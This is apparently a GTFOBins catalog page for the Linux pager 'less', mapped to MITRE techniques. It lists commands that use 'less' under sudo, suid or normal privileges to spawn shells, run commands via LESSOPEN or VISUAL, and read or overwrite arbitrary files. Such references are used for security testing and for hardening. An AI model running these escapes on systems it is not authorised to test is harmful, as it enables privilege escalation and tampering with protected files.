CatalogGTFOBins

GTFO · Tool

less

24 techniquesLinuxGTFOBinsGPL-3.0

command

ExecutionLinux
cp /path/to/command ~/.lessfilter
less /etc/hosts
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
command
MITRE
T1059

command

ExecutionPrivilege EscalationLinux
LESSOPEN='/path/to/command # %s' less /etc/hosts
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
command
MITRE
T1059

command

ExecutionLinux
LESSOPEN='/path/to/command # %s' less /etc/hosts
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
command
MITRE
T1059

file-read

File ReadPrivilege EscalationLinux
less /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux
less /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux
less /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

This can be used to read another file, e.g., when invoked as a pager with some fixed content.

less /etc/hosts
:e /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadLinux

This can be used to read another file.

LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux
echo DATA | less
s/path/to/output-file
q
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux
echo DATA | less
s/path/to/output-file
q
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux
echo DATA | less
s/path/to/output-file
q
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

inherit ← vi

File ReadFile WriteExecutionPrivilege EscalationLinux
less /etc/hosts
v
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
inherit, from:vi

inherit ← vi

File ReadFile WriteExecutionPrivilege EscalationLinux
less /etc/hosts
v
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
inherit, from:vi

inherit ← vi

File ReadFile WriteExecutionLinux
less /etc/hosts
v
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
inherit, from:vi

shell

ExecutionPrivilege EscalationLinux
less /etc/hosts
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
less /etc/hosts
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
less /etc/hosts
!/bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

The optional `reset` command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux

The optional `reset` command is needed to receive the echo back of the typed keystrokes.

LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
VISUAL='/bin/sh -s --' less /etc/hosts
v
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
VISUAL='/bin/sh -s --' less /etc/hosts
v
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059